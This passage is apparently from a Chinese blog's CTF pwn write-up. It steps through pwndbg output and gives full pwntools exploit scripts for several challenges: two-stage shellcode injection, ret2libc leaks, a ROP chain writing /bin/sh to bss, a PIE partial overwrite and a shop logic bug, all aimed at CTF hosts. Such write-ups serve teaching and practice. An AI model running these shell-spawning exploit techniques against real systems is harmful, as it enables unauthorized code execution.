05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x5638c4102244 main+123
  1   0x7f8da876fd68 __libc_start_call_main+120
  2   0x7f8da876fe25 __libc_start_main+133
  3   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c4102247 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX  2
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
*RCX  0x7f8da8956000 ◂— 0x50f
RDX  2
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c4102247 (main+126) ◂— mov rdx, 0x500
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
  0x7f8da8849749 <read+121>    mov    dword ptr fs:[rdx], eax     [0x7f8da87436c8] <= 0x200
  0x7f8da884974c <read+124>    mov    rax, 0xffffffffffffffff     RAX => 0xffffffffffffffff
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
  0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0x50f
► 0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
  0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
  0x5638c4102255 <main+140>    call   rcx                         <0x7f8da8956000>

  0x5638c4102257 <main+142>    mov    rax, qword ptr [rbp - 0x10]
  0x5638c410225b <main+146>    mov    esi, 0x1000                     ESI => 0x1000
  0x5638c4102260 <main+151>    mov    rdi, rax
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x5638c4102247 main+126
  1   0x7f8da876fd68 __libc_start_call_main+120
  2   0x7f8da876fe25 __libc_start_main+133
  3   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c410224e in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX  2
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da8956000 ◂— 0x50f
*RDX  0x500
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c410224e (main+133) ◂— mov rax, 0
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
  0x7f8da884974c <read+124>    mov    rax, 0xffffffffffffffff     RAX => 0xffffffffffffffff
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
  0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
► 0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
  0x5638c4102255 <main+140>    call   rcx                         <0x7f8da8956000>

  0x5638c4102257 <main+142>    mov    rax, qword ptr [rbp - 0x10]
  0x5638c410225b <main+146>    mov    esi, 0x1000                     ESI => 0x1000
  0x5638c4102260 <main+151>    mov    rdi, rax
  0x5638c4102263 <main+154>    call   munmap@plt                  <munmap@plt>
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x5638c410224e main+133
  1   0x7f8da876fd68 __libc_start_call_main+120
  2   0x7f8da876fe25 __libc_start_main+133
  3   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg>
0x00005638c4102255 in main ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
*RAX  0
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da8956000 ◂— 0x50f
RDX  0x500
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c4102255 (main+140) ◂— call rcx
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
  0x7f8da8849753 <read+131>    ret                                <main+119>
   ↓
  0x5638c4102240 <main+119>    mov    rsi, qword ptr [rbp - 0x10]     RSI, [0x7ffdb3a241a0] => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102244 <main+123>    mov    rcx, rsi                        RCX => 0x7f8da8956000 ◂— 0x50f
  0x5638c4102247 <main+126>    mov    rdx, 0x500                      RDX => 0x500
  0x5638c410224e <main+133>    mov    rax, 0                          RAX => 0
► 0x5638c4102255 <main+140>    call   rcx                         <0x7f8da8956000>

  0x5638c4102257 <main+142>    mov    rax, qword ptr [rbp - 0x10]
  0x5638c410225b <main+146>    mov    esi, 0x1000                     ESI => 0x1000
  0x5638c4102260 <main+151>    mov    rdi, rax
  0x5638c4102263 <main+154>    call   munmap@plt                  <munmap@plt>

  0x5638c4102268 <main+159>    cmp    eax, -1
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
01:0008│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
02:0010│ rbp 0x7ffdb3a241b0 ◂— 1
03:0018│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
04:0020│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
05:0028│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
06:0030│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
07:0038│+028 0x7ffdb3a241d8 —▸ 0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x5638c4102255 main+140
  1   0x7f8da876fd68 __libc_start_call_main+120
  2   0x7f8da876fe25 __libc_start_main+133
  3   0x5638c4102105 _start+37
────────────────────────────────────────────────────────────────────────────────
pwndbg> s
0x00007f8da8956000 in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
─────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────
RAX  0
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da8956000 ◂— 0x50f
RDX  0x500
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
*RSP  0x7ffdb3a24198 —▸ 0x5638c4102257 (main+142) ◂— mov rax, qword ptr [rbp - 0x10]
*RIP  0x7f8da8956000 ◂— 0x50f
──────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────
► 0x7f8da8956000    syscall  <SYS_read>
       fd: 0 (pipe:[214863])
       buf: 0x7f8da8956000 ◂— 0x50f
       nbytes: 0x500
  0x7f8da8956002    add    byte ptr [rax], al
  0x7f8da8956004    add    byte ptr [rax], al
  0x7f8da8956006    add    byte ptr [rax], al
  0x7f8da8956008    add    byte ptr [rax], al
  0x7f8da895600a    add    byte ptr [rax], al
  0x7f8da895600c    add    byte ptr [rax], al
  0x7f8da895600e    add    byte ptr [rax], al
  0x7f8da8956010    add    byte ptr [rax], al
  0x7f8da8956012    add    byte ptr [rax], al
  0x7f8da8956014    add    byte ptr [rax], al
───────────────────────────────────[ STACK ]────────────────────────────────────
00:0000│ rsp 0x7ffdb3a24198 —▸ 0x5638c4102257 (main+142) ◂— mov rax, qword ptr [rbp - 0x10]
01:0008│-010 0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
02:0010│-008 0x7ffdb3a241a8 ◂— 0xca8ba5bd102a5400
03:0018│ rbp 0x7ffdb3a241b0 ◂— 1
04:0020│+008 0x7ffdb3a241b8 —▸ 0x7f8da876fd68 (__libc_start_call_main+120) ◂— mov edi, eax
05:0028│+010 0x7ffdb3a241c0 —▸ 0x7ffdb3a242b0 —▸ 0x7ffdb3a242b8 ◂— 0x38 /* '8' */
06:0030│+018 0x7ffdb3a241c8 —▸ 0x5638c41021c9 (main) ◂— endbr64
07:0038│+020 0x7ffdb3a241d0 ◂— 0x1c4101040
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
► 0   0x7f8da8956000 None
  1   0x5638c4102257 main+142
  2   0x7f8da876fd68 __libc_start_call_main+120
  3   0x7f8da876fe25 __libc_start_main+133
pwndbg>

► 0x5638c4102255 <main+140> call rcx <0x7f8da8956000>

这个地方就是步进call rcx指令了

对应的就是buf区段内容的一个执行

这个时候对应的寄存器的数据是:

*RAX  0
RBX  0x7ffdb3a242c8 —▸ 0x7ffdb3a25951 ◂— './attachment'
RCX  0x7f8da8956000 ◂— 0x50f
RDX  0x500
RDI  0
RSI  0x7f8da8956000 ◂— 0x50f
R8   0xffffffff
R9   0
R10  0x22
R11  0x246
R12  0
R13  0x7ffdb3a242d8 —▸ 0x7ffdb3a2595e ◂— 'XDG_GREETER_DATA_DIR=/var/lib/lightdm/data/kali'
R14  0x7f8da8994000 (_rtld_global) —▸ 0x7f8da89952e0 —▸ 0x5638c4101000 ◂— 0x10102464c457f
R15  0x5638c4104da0 (__do_global_dtors_aux_fini_array_entry) —▸ 0x5638c4102180 (__do_global_dtors_aux) ◂— endbr64
RBP  0x7ffdb3a241b0 ◂— 1
RSP  0x7ffdb3a241a0 —▸ 0x7f8da8956000 ◂— 0x50f
*RIP  0x5638c4102255 (main+140) ◂— call rcx

在x86的系统调用中,rax为0时,相当于进行的是一个sys_read

详见:

Linux系统调用表(64位)_系统调用号表-CSDN博客

用s进行步入也能看到

► 0x7f8da8956000 syscall <SYS_read> fd: 0 (pipe:[214863]) buf: 0x7f8da8956000 ◂— 0x50f nbytes: 0x500

这里就说明是在进行一个sys_read了

实际上就是buf区等价于一个

read(0,buf,0x500)

0是代表标准读入,所以实际上就是有两次传入的机会

但第一次只能传入两字节

第二次才充裕

所以第一次我们需要传入一个两字节的syscall进去

而且由于需要buf内容里出现了syscall,在出现((void (fastcall *)(_QWORD, void *, int64))buf)(0LL, buf, 1280LL);后,buf内容作为函数的效果才会显现

如果第一次传入内容就是垃圾数据,进程就会直接崩溃

只有一开始就传入两个字节的syscall才能使((void (fastcall *)(_QWORD, void *, int64))buf)(0LL, buf, 1280LL);等价变成sys_read

但如果,buf一开始被syscall占据了两字节,所以就还得在第二次传入时,将那两个第一次传入的字节给覆盖掉

这里exp使用的是用nop来覆盖,实际上用b’a’ *(2)也是可以的

from pwn import *
#p = process('./attachment')
p = remote("gz.imxbt.cn",20384)
context.arch='amd64'

# gdb.attach(p,'b $rebase(0x1255)')

shellcode = asm("syscall") # 即'\x0f\x05'
p.send(shellcode)

shellcode = b'\x90'*2 + asm(shellcraft.sh()) # '\x90'为nop的汇编,覆盖掉之前的syscall
p.send(shellcode)

p.interactive()

她与你皆失 (gets✌)

原本想尝试传入shellcode的

但是交互很奇怪

先[*] Switching to interactive mode

然后才出main函数会输出的内容

输入一个单指令就会直接EOF

所以最后还是选择了老老实实去打r2libc

exp:

from pwn import *
from LibcSearcher import *

io = remote('gz.imxbt.cn',20283)
# io=process("./pwn")
elf = ELF('./pwn')
libc= ELF('./libc.so.6')

ret_add =0x000000000040101a
pop_rdi =0x0000000000401176
main_add =0x00000000004011DF
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0xa

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'do?', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

# libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64
#
# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')

libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'do?', payload2)

io.interactive()

彻底失去她 (gets✌)

checksec

64位

main:

int __fastcall main(int argc, const char **argv, const char **envp)
{
 _BYTE buf[10]; // [rsp+6h] [rbp-Ah] BYREF

 init();
 puts("Thank you for helping me find her.");
 puts("But she has left me for good this time, what should I do?");
 puts("By the way, I still don't know your name, could you tell me your name?");
 read(0, buf, 0x100uLL);
 return 0;
}

没找到/bin/sh

那只能传进去了

有看到system函数

int present()
{
 return system("ls");
}

找到system函数地址

ROPgadget 找找前三个寄存器

rdi,rsi,rdx

通过传参,写入bss段就好了

.bss:00000000004040A0                 public buffer
.bss:00000000004040A0 buffer          db    ? ;
.bss:00000000004040A1                 db    ? ;
.bss:00000000004040A2                 db    ? ;
.bss:00000000004040A3                 db    ? ;
.bss:00000000004040A4                 db    ? ;
.bss:00000000004040A5                 db    ? ;
.bss:00000000004040A6                 db    ? ;
.bss:00000000004040A7                 db    ? ;
.bss:00000000004040A8                 db    ? ;
.bss:00000000004040A9                 db    ? ;
.bss:00000000004040AA                 db    ? ;
.bss:00000000004040AB                 db    ? ;
.bss:00000000004040AC                 db    ? ;
.bss:00000000004040AD                 db    ? ;
.bss:00000000004040AE                 db    ? ;
.bss:00000000004040AF                 db    ? ;
.bss:00000000004040B0                 db    ? ;
.bss:00000000004040B1                 db    ? ;
.bss:00000000004040B2                 db    ? ;
.bss:00000000004040B3                 db    ? ;
.bss:00000000004040B4                 db    ? ;
.bss:00000000004040B5                 db    ? ;
.bss:00000000004040B6                 db    ? ;
.bss:00000000004040B7                 db    ? ;
.bss:00000000004040B8                 db    ? ;
.bss:00000000004040B9                 db    ? ;
.bss:00000000004040BA                 db    ? ;
.bss:00000000004040BB                 db    ? ;
.bss:00000000004040BC                 db    ? ;
.bss:00000000004040BD                 db    ? ;
.bss:00000000004040BE                 db    ? ;
.bss:00000000004040BF                 db    ? ;
.bss:00000000004040C0                 db    ? ;
.bss:00000000004040C1                 db    ? ;
.bss:00000000004040C2                 db    ? ;
.bss:00000000004040C3                 db    ? ;
.bss:00000000004040C4                 db    ? ;
.bss:00000000004040C5                 db    ? ;
.bss:00000000004040C6                 db    ? ;
.bss:00000000004040C7                 db    ? ;
.bss:00000000004040C8                 db    ? ;
.bss:00000000004040C9                 db    ? ;
.bss:00000000004040CA                 db    ? ;
.bss:00000000004040CB                 db    ? ;
.bss:00000000004040CC                 db    ? ;
.bss:00000000004040CD                 db    ? ;
.bss:00000000004040CE                 db    ? ;
.bss:00000000004040CF                 db    ? ;
.bss:00000000004040D0                 db    ? ;
.bss:00000000004040D1                 db    ? ;
.bss:00000000004040D2                 db    ? ;
.bss:00000000004040D3                 db    ? ;
.bss:00000000004040D4                 db    ? ;
.bss:00000000004040D5                 db    ? ;
.bss:00000000004040D6                 db    ? ;
.bss:00000000004040D7                 db    ? ;
.bss:00000000004040D7 _bss            ends
.bss:00000000004040D7

写入后,再弄上一个read函数

三个寄存器一次传参,成为新构造的read函数的参数

然后再利用这个read读取传入的/bin/sh

(read函数和system函数利用elf.plt[‘函数名’]这个方法更快,避免找不到,找了老半天的菜鸡如是说)

from pwn import *

p = remote("gz.imxbt.cn",20291)
# p = process('./彻底失去她')
rdi = 0x0000000000401196
rsi = 0x00000000004011ad
rdx = 0x0000000000401265
ret = 0x000000000040101a
offset = 0xa+8
buf = 0x00000000004040A0
system = 0x000000000401080
read = 0x0000000000401090


payload = b'a' * (0xa + 8)
payload += p64(rdi) + p64(0)
payload += p64(rsi) + p64(buf)
payload += p64(rdx) + p64(0x10)
payload += p64(read)  # read(0, buf, 0x10)
payload += p64(rdi) + p64(buf) + p64(system)
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()

我把她丢了 (gets✌)

checksec

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\我把她丢了'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        No PIE (0x400000)
   SHSTK:      Enabled
   IBT:        Enabled
   Stripped:   No

普通64位栈溢出

有提权字符

vuln函数存在栈溢出漏洞

需要填充的数据长度得知

用ELFplt[“system”]方法找真实system地址

from pwn import *
p = remote("gz.imxbt.cn",20368)
elf = ELF("./我把她丢了")


offset = 0x70 + 8

system= elf.plt["system"]
ret = 0x000000000040101a
pop_rdi = 0x0000000000401196
bin_sh = 0x0000000000402008

print(hex(system))

payload = b'a'*(offset) + p64(pop_rdi)   +p64(bin_sh) + p64(ret)+ p64(system)

p.sendline(payload)

p.interactive()

GHCTF

Welcome come to the world of PWN

这题可以和ACECTF中的PIE进行联动

ACECTF中的就是一个先导题

很遗憾没能第一时间意识到这俩实际上是一个考点

checksec

[*] 'C:\\Users\\26597\\Desktop\\pwn附件\\GHpwn1'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        PIE enabled
   Stripped:   No

IDA打开

反编译结果很明显

main函数就执行两个主要函数

输出函数没什么好说的

全是put输出

func1函数里面存在很明显的栈溢出漏洞

ssize_t func1()
{
 _BYTE buf[32]; // [rsp+0h] [rbp-20h] BYREF

 return read(0, buf, 0x40uLL);
}

很简单的栈溢出

看函数还能发现存在backdoor函数

直接给了

int backdoor()
{
 return system("/bin/sh");
}

很明显了

一般情况就是溢出字符加后门函数地址就好了

但是存在PIE保护

PIE保护的效果是什么

参考ACECTF中PIE题目

PIE的存在让我们拿不到远程交互的函数实际地址,就没法完成提权操作

而内存分页机制存在问题:程序地址最后 316 进制位是不会改变的

这个地方可参考ACECTF,ACECTF对此做了很不错的引导

那倒回此处

溢出拿到

已知因为内存分页机制,程序地址后三位不变

而关键的backdoor函数地址

.text:00000000000009C1 ; int backdoor()
.text:00000000000009C1                 public backdoor
.text:00000000000009C1 backdoor        proc near
.text:00000000000009C1 ; __unwind {
.text:00000000000009C1                 push    rbp
.text:00000000000009C2                 mov     rbp, rsp
.text:00000000000009C5                 lea     rdi, command   ; "/bin/sh"
.text:00000000000009CC                 call    _system
.text:00000000000009D1                 nop
.text:00000000000009D2                 pop     rbp
.text:00000000000009D3                 retn
.text:00000000000009D3 ; } // starts at 9C1
.text:00000000000009D3 backdoor        endp

为了能够使用p8方法,我们采用后两位,若采用后三位则会使p8方法报错

不知道是不是PIE都默认使用p8方法,日后再进行验证

exp:

from pwn import *
p = remote('node6.anna.nssctf.cn',22606)
payload = b'a'*0x28 + p8(0xC5)
p.send(payload)
p.interactive()

ret2libc1

[*] 'C:\\Users\\26597\\Desktop\\ghpwn2'
   Arch:       amd64-64-little
   RELRO:      Partial RELRO
   Stack:      No canary found
   NX:         NX enabled
   PIE:        No PIE (0x400000)
   Stripped:   No

直接填板子是不行的,没办法直接进行ret2libc

附件里面附带的函数很多

挨着逆向其逻辑

mian函数里面加载了菜单函数

通过switch语句进行选择项

int __fastcall main(int argc, const char **argv, const char **envp)
{
 init(argc, argv, envp);
 while ( 1 )
{
   menu();
   switch ( (unsigned int)read_count() )
  {
     case 1u:
       flower();
       break;
     case 2u:
       books();
       break;
     case 3u:
       hell_money();
       break;
     case 4u:
       clothing();
       break;
     case 5u:
       shop();
       break;
     case 6u:
       check_money();
       break;
     case 7u:
       see_it();
       break;
     default:
       puts("Invalid choose");
       break;
  }
}
}

这里看到存在7个选项

但是在菜单函数中,只给出了6个puts内容对应前六个选项

int menu()
{
 puts("Welcome to shop, what do you buy?");
 puts("1.flowers");
 puts("2.books");
 puts("3.hell money");
 puts("4.clothing");
 puts("5.buy my shop");
 return puts("6.check youer money");
}

所以第七个选项很明显是存在问题的

进入第七个选项对应的函数

__

int64 see_it()
{
 __int64 result; // rax
 int count; // [rsp+Ch] [rbp-4h]

 puts("Barter?!1000$ = 1hell_money");
 printf("How much do you exchange?");
 count = read_count();
 what_can_I_say -= count;
 result = (unsigned int)(money + 1000 * count);
 money += 1000 * count;
 return result;
}

看得出来这里存在两种货币

money和hell_money

1hm = 1000m

然后在其他选项中,均是用m进行交易

hell_money也是可以通过money进行购买的

预期解应该是不断用 money 购买 holl_money 然后用 holl_money 购买 money 使得 money 能购买整个商店,然后 ret2libc

但是直接进入选项7换money,hell_money成负数也没关系,直接就能出

交互结果:

Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money

6

you have 1000 $
you have 0 hell_money

Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money

7

Barter?!1000$ = 1hell_money
How much do you exchange?

1000000

Welcome to shop, what do you buy?
1.flowers
2.books
3.hell money
4.clothing
5.buy my shop
6.check youer money

6

you have 1000001000 $
you have -1000000 hell_money

Welcome to shop, what do you buy?

可以看到这里直接拿到了足够的money,但hell_money 直接成了负数

但是存在栈溢出漏洞的购买函数shop()是只需要money的

也就是说,存在非预期解,直接换购money后直接进行ret2libc即可,不需要hm和m互相换购,也就是不需要过一遍选项三中的hell_money函数

exp:

from pwn import *


io = remote('node1.anna.nssctf.cn',28599)
# io=process("./pwn")
elf = ELF('./attachment')
libc= ELF('./libc.so.6')

io.sendline(b'7')
io.recv()
io.sendline(b'1000000')
io.recv()
io.sendline(b'5')

ret_add =0x0000000000400579
pop_rdi =0x0000000000400d73
main_add =0x0000000000400B1E
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x40

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'it!!!', payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("Puts_addr: ",hex(puts_addr))

# libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64

# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')

libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'it!!!', payload2)

io.interactive()

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇